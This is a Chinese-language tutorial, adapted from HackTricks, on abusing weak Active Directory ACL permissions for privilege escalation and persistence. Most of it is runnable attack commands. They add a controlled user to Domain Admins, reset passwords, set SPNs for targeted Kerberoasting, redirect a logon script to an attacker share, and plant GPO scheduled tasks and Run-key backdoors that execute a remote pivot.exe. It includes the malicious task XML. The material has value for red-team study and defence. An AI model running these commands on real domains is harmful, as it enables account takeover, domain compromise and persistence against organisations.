翻译、修改自 https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse。
ACL 是 Access Control List(访问控制列表)的缩写。它是一种用于管理和控制访问权限的机制或数据结构。ACL 用于确定谁可以访问特定资源(例如文件、文件夹、网络资源等)以及他们可以执行的操作。ACL 通常由一系列访问控制条目组成,每个条目定义了一个用户、用户组或角色以及与其关联的权限。每个权限指定了对资源的特定操作,如读取、写入、执行或删除等。ACL 可以在操作系统、网络设备、数据库系统和应用程序等各种环境中使用。
ACL 的主要目的是提供细粒度的访问控制,以确保只有授权的用户可以访问和操作资源,从而保护系统的安全性和完整性。通过配置适当的 ACL,系统管理员可以限制用户的权限,根据需要授予不同级别的访问权限,并确保敏感数据和资源只能被授权的用户或角色使用。ACL 是许多操作系统和网络设备的基本安全功能之一,并在许多应用程序中用于实现细粒度的权限管理。它提供了一种灵活和可扩展的方法来管理访问控制,以满足组织对安全性和数据保护的需求。
ACL 中的每个 ACE(访问控制条目) 都标识一个受托者,并为该受托者指定允许、拒绝或审计的访问权限。安全对象的安全描述符可以包含两种类型的 ACL:DACL 和 SACL。DACL 用于控制资源的访问权限,而 SACL 则用于记录和审核访问事件。
DACL 是 Discretionary Access Control List(自由访问控制列表)的缩写。它是用于访问控制的一种权限机制,用于确定谁可以对资源进行访问以及他们可以执行的操作。DACL 是 Windows 操作系统中的一个重要概念,它是一种与对象(如文件、文件夹、注册表项等)关联的访问控制列表。DACL 包含了一系列访问控制条目(ACEs),每个条目指定了一个用户、用户组或角色以及与其关联的权限。
DACL 的特点是基于主体对资源的自由访问控制,即资源的所有者或管理员可以自由设定谁可以访问资源以及他们可以执行的操作。通过配置 DACL,可以限制或授予特定用户或用户组对资源的权限,例如读取、写入、执行、删除等。DACL 中的每个访问控制条目都包含一个身份(用户、用户组或角色)和一组权限。权限定义了允许或拒绝对资源执行的操作。当用户尝试访问资源时,操作系统会根据 DACL 中的条目来决定是否允许访问。需要注意的是,DACL 只是访问控制的一部分,它仅涵盖了资源的自由访问控制。在 Windows 操作系统中,还有其他类型的访问控制,如系统访问控制列表(SACL)用于审核和监视访问,以及对象所有者等。
本文主要介绍如何滥用DACLs(Active Directory Discretionary Access Control Lists )和构成了DACLs的ACEs(Acccess Control Entries )的弱权限。
Active Directory对象(如用户和组)是可保护的对象,DACL/ACEs定义了谁可以读取/修改这些对象(例如更改帐户名称,重置密码等)。
这里是"Domain Admins"可保护对象的一些ACEs示例:
作为攻击者,我们对一些Active Directory对象权限和类型感兴趣:
• GenericAll - 对对象拥有完全权限(添加用户到组或重置用户密码)
• GenericWrite - 更新对象的属性(例如登录脚本)
• WriteOwner - 将对象所有者更改为攻击者控制的用户,接管对象
• WriteDACL - 修改对象的ACEs,并赋予攻击者对对象的完全控制权
• AllExtendedRights - 能够将用户添加到组或重置密码
• ForceChangePassword - 能够更改用户的密码
• Self (Self-Membership) - 能够将自己添加到组中
本文,我们将探索并尝试利用上述大部分ACEs。
值得熟悉所有BloodHound edges[1]和尽可能多的Active Directory Extended Rights[2],因为你永远不知道在评估过程中可能会遇到一个不常见的权限。
使用powerview,让我们检查我们的攻击用户spotless
是否对用户delegate
的AD对象具有GenericAll权限
:
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}
我们可以看到,确实我们的用户spotless
拥有GenericAll
权限,这有效地使攻击者能够接管该账户:
• 更改密码:您可以使用以下命令更改该用户的密码
net user <username> <password> /domain
• Targeted Kerberoasting:这种技术解释起来很简单,就是有修改某一个账户权限的时候,您可以在该账户上设置一个SPN,使用户成为kerberoastable,然后对其进行kerberoast并尝试离线破解:
方法一:
# 设置SPN
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}# 获取哈希值
.\Rubeus.exe kerberoast /user:<username> /nowrap
# 清除SPN
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
方法二:
# 您还可以使用工具https://github.com/ShutdownRepo/targetedKerberoast 获取一个或所有用户的哈希值
python3 targetedKerberoast.py -d domain.local -u <username> -p password -v
• Targeted ASREPRoasting:您可以通过禁用 预身份验证来使用户成为ASREPRoastable,然后对其进行ASREProast。
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
让我们看看Domain admins
组是否有任何弱权限。首先,让我们获取其distinguishedName
:
import-module .\powerview.ps1
Get-NetGroup "domain admins" -FullData
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local"}
我们可以看到我们的攻击用户spotless
再次拥有GenericAll
权限:
实际上,这使我们能够将自己(用户spotless
)添加到Domain Admin
组中:
net group "domain admins" spotless /add /domain
同样可以通过Active Directory或PowerSploit模块实现:
# with active directory module
Add-ADGroupMember -Identity "domain admins" -Members spotless# with Powersploit
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
• 如果您在计算机对象上拥有这些权限,您可以执行Kerberos 基于资源的受限委派:接管计算机对象[3]。
• 如果您对用户拥有这些权限,您可以使用任意一个 "用户的GenericAll权限部分"[4] 提到的方法。
• 或者,无论是在计算机还是用户上,您都可以使用**Shadow Credentials[5]**来冒充它:
Shadow Credentials简单来说就是我们可以设置某个账户的msDS-KeyCredentialLink属性,msDS-KeyCredentialLink可以设置公私钥身份验证凭据,并使用它们获取一个包含其NTLM哈希的特殊服务票证,该票证在加密的NTLM_SUPPLEMENTAL_CREDENTIAL实体中,你可以解密它
如果我们控制的用户对Domain Admin
组的All
对象具有WriteProperty
权限:
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
我们可以再次将自己添加到Domain Admins
组并提升权限:
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
攻击者能够将自己添加到组中的权限:
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
另一个使攻击者能够将自己添加到组中的权限:
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
net group "domain admins" spotless /add /domain
如果我们对User-Force-Change-Password
(用户强制更改密码)对象类型拥有ExtendedRight
(扩展权限),我们可以在不知道用户当前密码的情况下重置用户的密码:
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
使用powerview进行相同操作:
Set-DomainUserPassword -Identity delegate -Verbose
另一种方法不需要与密码安全字符串转换相关的操作:
$c = Get-Credential
Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose
...或者如果没有交互式会话,则可以使用一行命令:
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
最后一种方法是从Linux实现这一点:
rpcclient -U KnownUsername 10.10.10.192
\> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
更多信息:
• https://malicious.link/post/2017/reset-ad-user-password-with-linux/
• https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN
• https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/e28bf420-8989-44fb-8b08-f5a7c2f2e33c
请注意,在攻击之前,Domain Admins
的所有者是Domain Admins
:
在ACE枚举之后,如果我们发现我们控制的用户具有WriteOwner
权限,并且ObjectType:All
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
我们可以将Domain Admins
对象的所有者更改为我们的用户,即spotless
。请注意,使用-Identity
指定的SID是Domain Admins
组的SID:
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose//You can also use the name instad of the SID (HTB: Reel)
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
在Active Directory中,GenericWrite权限是一种特殊的权限,它允许用户对对象的属性进行写入操作,而不需要具体的写入权限。这意味着,如果一个用户被授予了GenericWrite权限,他可以修改对象的任何属性,包括敏感属性,而不需要其他特定的权限。
攻击者可以利用这个权限来实现持久性滥用。他们可以通过修改用户的属性,将自己添加到目标用户的组中,或者修改目标用户的权限,以获取更高的权限。
以下是利用GenericWrite权限进行持久性滥用的步骤:
1. 确定目标用户的对象的Distinguished Name(DN)。
2. 使用工具(如PowerShell)或代码,将自己添加到目标用户的组中,或修改目标用户的权限。
3. 验证修改是否成功。
这种滥用方法的危害性在于,攻击者可以通过滥用GenericWrite权限,实现对目标用户的持久性控制,并且这种滥用方法很难被检测到。
为了防止这种滥用,管理员应该审查和限制用户的权限,确保只有必要的权限被授予。此外,监控和审计Active Directory的变更也是非常重要的,以便及时发现和响应任何异常活动。
Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
在这种特殊情况下,对于Script-Path
的ObjectType
进行WriteProperty
操作,允许攻击者覆盖delegate
用户的登录脚本路径,这意味着下次delegate
用户登录时,系统将执行我们的恶意脚本:
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
以下显示了用户的delegate
登录脚本字段在AD中被更新:
这允许您将新用户(例如您自己)设置为组的成员:
# Create creds
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)# Add user to group
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
# Check user was added
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
# Remove group member
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
如果您是一个组的所有者,就像我是一个Test
AD组的所有者一样:
当然,您可以通过powershell来完成:
([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value
并且你对该AD对象有WriteDACL
权限:
你可以通过一点点ADSI魔法赋予自己GenericAll
[6]权限:
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()
这意味着您现在完全控制该AD对象:
这实际上也意味着您现在可以向组中添加新用户。
有趣的是,我无法通过使用Active Directory模块和Set-Acl
/ Get-Acl
命令来滥用这些权限:
$path = "AD:\CN=test,CN=Users,DC=offense,DC=local"
$acl = Get-Acl -Path $path
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow"
$acl.AddAccessRule($ace)
Set-Acl -Path $path -AclObject $acl
DCSync 权限意味着对域本身具有以下权限:DS-Replication-Get-Changes、Replicating Directory Changes All 和 Replicating Directory Changes In Filtered Set。 在这里了解更多关于 DCSync 攻击的信息。[7]
有时,某些用户/组可能被委派访问权限来管理组策略对象,就像 offense\spotless
用户一样:
我们可以通过利用 PowerView 来查看这一点:
Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
下面显示了用户offense\spotless
具有WriteProperty、WriteDacl、WriteOwner等权限,这些权限都可以被滥用:
我们知道上面截图中的ObjectDN是指New Group Policy Object
GPO,因为ObjectDN指向CN=Policies
,而且CN={DDC640FF-634A-4442-BC2E-C05EED132F0C}
在GPO设置中也是相同的,如下所示:
如果我们想要专门搜索配置错误的GPO,可以链接多个PowerSploit的cmdlet,如下所示:
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
应用了给定策略的计算机
我们现在可以解析应用了GPO“配置错误的策略”的计算机名称:
Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}
应用于特定计算机的策略
以下部分描述了在Active Directory环境中识别应用于特定计算机的策略的过程。
1. 以管理员身份打开命令提示符。
2. 运行以下命令以检索应用的策略:
gpresult /scope computer /v
此命令将显示有关应用于计算机的策略的详细信息。3. 在命令输出中查找标题为“Applied Group Policy Objects”的部分。
4. 在此部分下,您将找到应用于计算机的一系列组策略对象(GPO)。
5. 每个GPO都将列出其唯一标识符(GUID)和应用顺序。
6. 记下应用于计算机的GPO,以便进行进一步分析。
通过识别应用于特定计算机的策略,您可以了解该系统上实施的安全配置和限制。这些信息对于了解潜在的攻击面和规划进一步的利用技术非常有用。
Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName
应用给定策略的组织单位(OUs)
Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName
New-GPOImmediateTask:
https://github.com/3gstudent/Homework-of-Powershell/blob/master/New-GPOImmediateTask.ps1
滥用此配置错误并获得代码执行的一种方法是通过GPO创建一个立即计划任务,如下所示:
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
上述代码将我们的用户spotless添加到被入侵的计算机的本地administrators
组中。请注意,在执行代码之前,该组不包含用户spotless
:
您可以使用Get-Module -List -Name GroupPolicy | select -expand ExportedCommands
检查GroupPolicy模块是否已安装。在紧急情况下,您可以使用Install-WindowsFeature –Name GPMC
作为本地管理员进行安装。
# 创建新的 GPO 并将其与 Workstations这个OU链接
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"#让Workstrations这个OU内的计算机创建一个新的注册表项来执行后门
## 搜索您可以写入并且所有受影响的计算机都可以读取的共享文件夹
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
这个payload在GPO更新后,还需要有人登录到计算机内。
https://github.com/FSecureLABS/SharpGPOAbuse
它无法创建GPO,因此我们仍然需要使用RSAT进行创建,或者修改我们已经具有写访问权限的GPO。
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
先前的滥用 GPO 更新 大约每 90 分钟重新加载一次。如果你可以访问计算机,可以使用 gpupdate /force
强制更新。
如果我们观察 Misconfigured Policy
GPO 的计划任务,我们可以看到我们的 evilTask
在那里:
下面是由 New-GPOImmediateTask
创建的 XML 文件,表示我们在 GPO 中的恶意计划任务:
<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
<ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="evilTask" image="0" changed="2018-11-20 13:43:43" uid="{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext="0" removePolicy="0">
<Properties action="C" name="evilTask" runAs="NT AUTHORITY\System" logonType="S4U">
<Task version="1.3">
<RegistrationInfo>
<Author>NT AUTHORITY\System</Author>
<Description></Description>
</RegistrationInfo>
<Principals>
<Principal id="Author">
<UserId>NT AUTHORITY\System</UserId>
<RunLevel>HighestAvailable</RunLevel>
<LogonType>S4U</LogonType>
</Principal>
</Principals>
<Settings>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>false</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<AllowStartOnDemand>false</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
<DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
<RestartOnFailure>
<Interval>PT15M</Interval>
<Count>3</Count>
</RestartOnFailure>
</Settings>
<Actions Context="Author">
<Exec>
<Command>cmd</Command>
<Arguments>/c net localgroup administrators spotless /add</Arguments>
</Exec>
</Actions>
<Triggers>
<TimeTrigger>
<StartBoundary>%LocalTimeXmlEx%</StartBoundary>
<EndBoundary>%LocalTimeXmlEx%</EndBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
</Triggers>
</Task>
</Properties>
</ImmediateTaskV2>
</ScheduledTasks>
通过滥用GPO(组策略对象)的用户和组功能,也可以实现相同的权限提升。请注意下面的文件中,第6行将用户spotless
添加到本地的administrators
组 - 我们可以将用户更改为其他用户,添加另一个用户,甚至将用户添加到另一个组/多个组,因为我们可以修改显示位置的策略配置文件,这是由于我们的用户spotless
被分配了GPO委派权限:
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}">
<Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
<Members>
<Member name="spotless" action="ADD" sid="" />
</Members>
</Properties>
</Group>
</Groups>
此外,我们可以考虑利用登录/注销脚本,使用注册表进行自启动,安装.msi,编辑服务和类似的代码执行途径。
• https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces
• https://wald0.com/?p=112
• https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2
• https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
• https://adsecurity.org/?p=3658
• https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_
[1]
BloodHound edges: https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html[2]
Extended Rights: https://learn.microsoft.com/en-us/windows/win32/adschema/extended-rights[3]
Kerberos 基于资源的受限委派:接管计算机对象: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation[4]
"用户的GenericAll权限部分": https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse#genericall-on-user[5]
Shadow Credentials: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials[6]
GenericAll
: https://github.com/carlospolop/hacktricks/blob/cn/windows/active-directory-methodology/broken-reference/README.md[7]
在这里了解更多关于 DCSync 攻击的信息。: